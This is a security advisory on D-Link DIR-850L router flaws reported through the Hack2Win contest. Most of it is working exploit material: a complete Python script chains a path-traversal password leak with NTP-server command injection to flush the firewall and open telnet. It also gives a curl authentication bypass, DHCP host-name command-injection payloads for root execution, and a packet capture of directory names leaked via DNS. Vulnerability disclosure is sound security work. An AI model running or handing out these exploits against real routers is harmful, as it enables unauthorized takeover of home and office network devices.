SSD Advisory – D-Link 850L Multiple Vulnerabilities (Hack2Win Contest)

blogs.securiteam.com/index.php/archives/3364

SSD / Maor Schwartz August 8, 2017

Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in D-Link 850L router.

The vulnerabilities have been reported as part of Hack2Win competition, for more information about Hack2Win – Hack2Win – https://blogs.securiteam.com/index.php/archives/3310.

The vulnerabilities found in D-Link 850L are:

- Remote Command Execution via WAN and LAN
- Remote Unauthenticated Information Disclosure via WAN and LAN
- Unauthorized Remote Code Execution as root via LAN

Credit
The vulnerabilities were found by the following researchers, while participate in Beyond Security's Hack2Win competition:

- Remote Command Execution via WAN and LAN: Zdenda
- Remote Unauthenticated Information Disclosure via WAN and LAN: Peter Geissler
- Unauthorized Remote Code Execution as root via LAN: Pierre Kim

Vendor response
The vendor has released patches to address this vulnerabilities (Firmware: 1.14B07 BETA).
For more details: http://support.dlink.com/ProductInfo.aspx?m=DIR-850L

Vulnerabilities details

Remote Command Execution via WAN and LAN
The remote Command execution is a combination of 2 different vulnerabilities:

- Unauthenticated Upload arbitrary files
- Execute arbitrary Commands by authenticated user with administrator privileges

The chain of vulnerabilities will allow you, in the end, to execute Commands.

When changing settings in admin interface, the settings are send in XML format to *hedwig.cgi* which loads and validates the changes.

The *hedwig.cgi* calls *fatlady.php* for settings validation:

```
[ /htdocs/webinc/fatlady.php ]

  16 foreach ($prefix."/postxml/module")
  17 {
...
  20 $service = query("service");
...
  23 $target = "/htdocs/phplib/fatlady/".$service.".php";
...
  26 if (isfile($target)==1) dophp("load", $target);
```

Then *pigwidgeon.cgi* is requested to apply the new settings (if valid) and restart the affected services.

fatlady.php loads service scripts to validate the input. However the service name comes directly from received XML and can be used to load any file with "*.php*" extension.

For example we can use it to list user accounts with their passwords and get access to admin interface.

```
/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php
```

After we got the Admin password, we can log in and trigger the second vulnerability – NTP server shell commands injection.

```
[ /etc/services/DEVICE.TIME.php ]

  163 $enable = query("/device/time/ntp/enable");
  164 if($enable=="") $enable = 0;
  165 $enablev6 = query("/device/time/ntp6/enable");
  166 if($enablev6=="") $enablev6 = 0;
  167 $server = query("/device/time/ntp/server");
  ...
  172 if ($enable==1 && $enablev6==1)
  ...
  184 'SERVER4='.$server.'\n'.
  ...
  189 ' ntpclient -h $SERVER4 -i 5 -s -4 > /dev/console\n'.
```

As we can see, we can inject commands to NTP server with no validation. For example:

```
server:
someserver; whatever...
result:
SERVER4=someserver
whatever...
```

Proof of Concept

```
#!/usr/bin/env python3
# pylint: disable=C0103
#
```

```
4   # pip3 install requests lxml
5   #
6   import hmac
7   import json
8   import sys
9   from urllib.parse import urljoin
10  from xml.sax.saxutils import escape
11  import lxml.etree
12  import requests
13
14  try:
15      requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
16  except:
17      pass
18
19  TARGET = sys.argv[1]
20  COMMAND = ";".join([
21      "iptables -F",
22      "iptables -X",
23      "iptables -t nat -F",
24      "iptables -t nat -X",
25      "iptables -t mangle -F",
26      "iptables -t mangle -X",
27      "iptables -P INPUT ACCEPT",
28      "iptables -P FORWARD ACCEPT",
29      "iptables -P OUTPUT ACCEPT",
30      "telnetd -p 23090 -l /bin/date"  # port 'Z2'
31      ])
32
33  session = requests.Session()
34  session.verify = False
35
36  ############################################################
37
38  print("Get password...")
39
40  headers = {"Content-Type": "text/xml"}
41  cookies = {"uid": "whatever"}
42  data = """<?xml version="1.0" encoding="utf-8"?>
43  <postxml>
44  <module>
45      <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
46  </module>
47  </postxml>"""
48
49  resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
50  # print(resp.text)
51
52  # getcfg: <module>...</module>
53  # hedwig: <?xml version="1.0" encoding="utf-8"?>
54  #       : <hedwig>...</hedwig>
```

```
55  accdata = resp.text[:resp.text.find("<?xml")]
56
57  admin_pasw = ""
58
59  tree = lxml.etree.fromstring(accdata)
60  accounts = tree.xpath("/module/device/account/entry")
61  for acc in accounts:
62      name = acc.findtext("name", "")
63      pasw = acc.findtext("password", "")
64      print("name:", name)
65      print("pass:", pasw)
66      if name == "Admin":
67          admin_pasw = pasw
68
69  if not admin_pasw:
70      print("Admin password not found!")
71      sys.exit()
72
73  ############################################################
74
75  print("Auth challenge...")
76  resp = session.get(urljoin(TARGET, "/authentication.cgi"))
77  # print(resp.text)
78
79  resp = json.loads(resp.text)
80  if resp["status"].lower() != "ok":
81      print("Failed!")
82      print(resp.text)
83      sys.exit()
84
85  print("uid:", resp["uid"])
86  print("challenge:", resp["challenge"])
87
88  session.cookies.update({"uid": resp["uid"]})
89
90  print("Auth login...")
91  user_name = "Admin"
92  user_pasw = admin_pasw
93
94  data = {
95      "id": user_name,
96      "password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(),
97  "md5").hexdigest().upper()
98  }
99  resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
100 # print(resp.text)
101
102 resp = json.loads(resp.text)
103 if resp["status"].lower() != "ok":
104     print("Failed!")
105     print(resp.text)
```

```
    sys.exit()
print("OK")

#################################################################

data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"

#################################################################

print("hedwig")

headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

#################################################################

print("pigwidgeon")

data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")
```

Remote Unauthenticated Information Disclosure via WAN and LAN

When an Admin is log-in to D-Link 850L it will trigger the global variable: *$AUTHORIZED_GROUP >= 1*.

An attacker can use this global variable to bypass security checks and use it to read arbitrary files.

Proof of Concept

```
$ curl -d "SERVICES=DEVICE.ACCOUNT&x=y%0aAUTHORIZED_GROUP=1"
"http://IP/getcfg.php"
```

Unauthorized Remote Code Execution as root via LAN

The D-Link 850L runs *dnsmasq* daemon as root. The daemon execute the “host-name” parameter from the DHCP server.

Proof of Concept
In order to exploit this vulnerability, we need to be on the same LAN with the victim and to set a DHCP server in our control.

In this Proof of Concept we will use a Kali machine.

The attacker need to edit the */etc/dhcp/dhclient.conf* file and change the *host-name* field to the command we want to execute.

The following DHCP request will execute ping command on the router:

```
send host-name = ";ping 192.168.0.100";
```

In order to see the results you need to sniff the network and inspect the packets

Using DNS to exfiltrate information:

```
send host-name = ";for i in `ls /`; do ping $i;done";
```

If we will sniff the network we will see the following:

```
1  17:41:42.963917 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
2  17:41:44.955685 IP 192.168.1.100.37895 > 192.168.1.1.53: 2+ AAAA? www. (21)
3  17:41:44.955754 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
4  17:41:44.956251 IP 192.168.1.100.51733 > 192.168.1.1.53: 3+ AAAA? www. (21)
5  17:41:44.956282 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
6  17:41:44.956797 IP 192.168.1.100.52958 > 192.168.1.1.53: 4+ AAAA? www. (21)
7  17:41:44.956821 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
8  17:41:44.957639 IP 192.168.1.100.49007 > 192.168.1.1.53: 5+ A? www. (21)
9  17:41:44.957660 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
10 17:41:44.958327 IP 192.168.1.100.42641 > 192.168.1.1.53: 6+ A? www. (21)
11 17:41:44.958351 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
12 17:41:44.958837 IP 192.168.1.100.36077 > 192.168.1.1.53: 7+ A? www. (21)
13 17:41:44.958857 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
14 17:41:44.965678 IP 192.168.1.100.49884 > 192.168.1.1.53: 2+ AAAA? var. (21)
15 17:41:44.965704 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
16 17:41:44.969792 IP 192.168.1.100.53144 > 192.168.1.1.53: 3+ AAAA? var. (21)
17 17:41:44.969820 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
18 17:41:44.970305 IP 192.168.1.100.32949 > 192.168.1.1.53: 4+ AAAA? var. (21)
19 17:41:44.970326 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
20 17:41:44.970971 IP 192.168.1.100.48094 > 192.168.1.1.53: 5+ A? var. (21)
21 17:41:44.970993 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
22 17:41:44.971505 IP 192.168.1.100.52246 > 192.168.1.1.53: 6+ A? var. (21)
23 17:41:44.971516 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
24 17:41:44.972015 IP 192.168.1.100.41323 > 192.168.1.1.53: 7+ A? var. (21)
25 17:41:44.972036 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
26 17:41:44.974624 IP 192.168.1.100.50795 > 192.168.1.1.53: 2+ AAAA? usr. (21)
27 17:41:44.974653 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
28 17:41:44.975316 IP 192.168.1.100.38359 > 192.168.1.1.53: 3+ AAAA? usr. (21)
29 17:41:44.975337 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
30 17:41:44.975827 IP 192.168.1.100.55240 > 192.168.1.1.53: 4+ AAAA? usr. (21)
31 17:41:44.975848 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
32 17:41:44.976660 IP 192.168.1.100.44499 > 192.168.1.1.53: 5+ A? usr. (21)
33 17:41:44.976668 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
34 17:41:44.979721 IP 192.168.1.100.57446 > 192.168.1.1.53: 6+ A? usr. (21)
35 17:41:44.979748 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
36 17:41:44.980401 IP 192.168.1.100.35172 > 192.168.1.1.53: 7+ A? usr. (21)
37 17:41:44.980422 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
38 17:41:44.983041 IP 192.168.1.100.60090 > 192.168.1.1.53: 2+ AAAA? tmp. (21)
```